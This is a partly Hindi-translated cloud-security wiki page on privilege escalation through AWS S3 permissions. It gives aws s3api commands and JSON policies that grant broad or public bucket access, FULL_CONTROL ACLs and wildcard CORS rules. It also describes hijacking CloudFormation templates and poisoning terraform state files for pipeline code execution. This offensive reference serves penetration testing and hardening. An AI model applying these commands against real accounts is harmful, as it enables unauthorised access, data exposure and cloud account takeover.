AWS - S3 Privesc

Reading time: 7 minutes

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

उन permissions वाले attacker जिनके पास रोचक buckets पर अधिकार हैं, वे resources को hijack कर सकते हैं और privileges escalate कर सकते हैं।

उदाहरण के लिए, 'cf-templates-nohnwfax6a6i-us-east-1' नामक एक cloudformation bucket पर उन permissions over a cloudformation bucket वाले attacker deployment को hijack कर सकेंगे। यह access निम्नलिखित policy के साथ दिया जा सकता है:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

And the hijack is possible because there is a template के bucket में upload होने के पल से लेकर template के deploy होने तक का छोटा समय अंतराल. An attacker might just create a lambda function in his account that will trigger when a bucket notification is sent, and hijacks the content of that bucket.

The Pacu module cfn__resouce_injection can be used to automate this attack.
For more information check the original research: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

These are the permissions to S3 में objects को प्राप्त और अपलोड करने के लिए. Several services inside AWS (and outside of it) use S3 storage to store कॉन्फ़िग फाइलें.
An attacker with पढ़ने की अनुमति (read access) to them might find संवेदनशील जानकारी on them.
An attacker with लिखने की अनुमति (write access) to them could डेटा को modify करके किसी service का दुरुपयोग कर के privileges escalate करने की कोशिश कर सकता है.
These are some examples:

• If an EC2 instance is storing the user data in a S3 bucket, an attacker could modify it to EC2 instance के अंदर arbitrary code execute करने के लिए तैयार कर देना.

s3:PutObject, s3:GetObject (optional) over terraform state file

It is very common that the terraform state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is .tfstate, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account.
Also usually, in real world accounts almost always all developers have s3:* and sometimes even business users have s3:Put*.

So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of terraform - most of the time AdministratorAccess, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making terraform delete legitimate resources.

Follow the description in the Abusing Terraform State Files section of the Terraform Security page for directly usable exploit code:

Abusing Terraform State Files

s3:PutBucketPolicy

An attacker, that needs to be from the same account, if not the error The specified method is not allowed will trigger, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

एक attacker इन permissions का दुरुपयोग करके specific buckets पर खुद को अधिक पहुँच दे सकता है।
ध्यान दें कि attacker का उसी खाते से होना आवश्यक नहीं है। इसके अलावा write access

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

एक attacker इन permissions का दुरुपयोग करके buckets के specific objects पर अपने लिए अधिक access प्राप्त कर सकता है।

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

An attacker with these privileges से अपेक्षा की जाती है कि वह किसी specific object version पर Acl लगा सके।

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

s3:PutBucketCORS

जिसके पास s3:PutBucketCORS permission है, एक हमलावर bucket की CORS (Cross-Origin Resource Sharing) कॉन्फ़िगरेशन को बदल सकता है, जो नियंत्रित करती है कि कौन से वेब डोमेन इसके endpoints तक पहुँच सकते हैं। यदि वे एक permissive नीति सेट करते हैं, तो कोई भी वेबसाइट सीधे bucket को अनुरोध भेज सकती है और ब्राउज़र से प्रतिक्रियाएँ पढ़ सकती है।

इसका मतलब यह है कि संभावित रूप से, यदि bucket से होस्ट की गई किसी वेब ऐप का प्रमाणीकृत उपयोगकर्ता हमलावर की वेबसाइट पर जाता है, तो हमलावर permissive CORS नीति का शोषण कर सकता है और, एप्लिकेशन पर निर्भर करते हुए, उपयोगकर्ता के प्रोफ़ाइल डेटा तक पहुँच सकता है या यहाँ तक कि उपयोगकर्ता के खाते पर कब्ज़ा कर सकता है।

aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'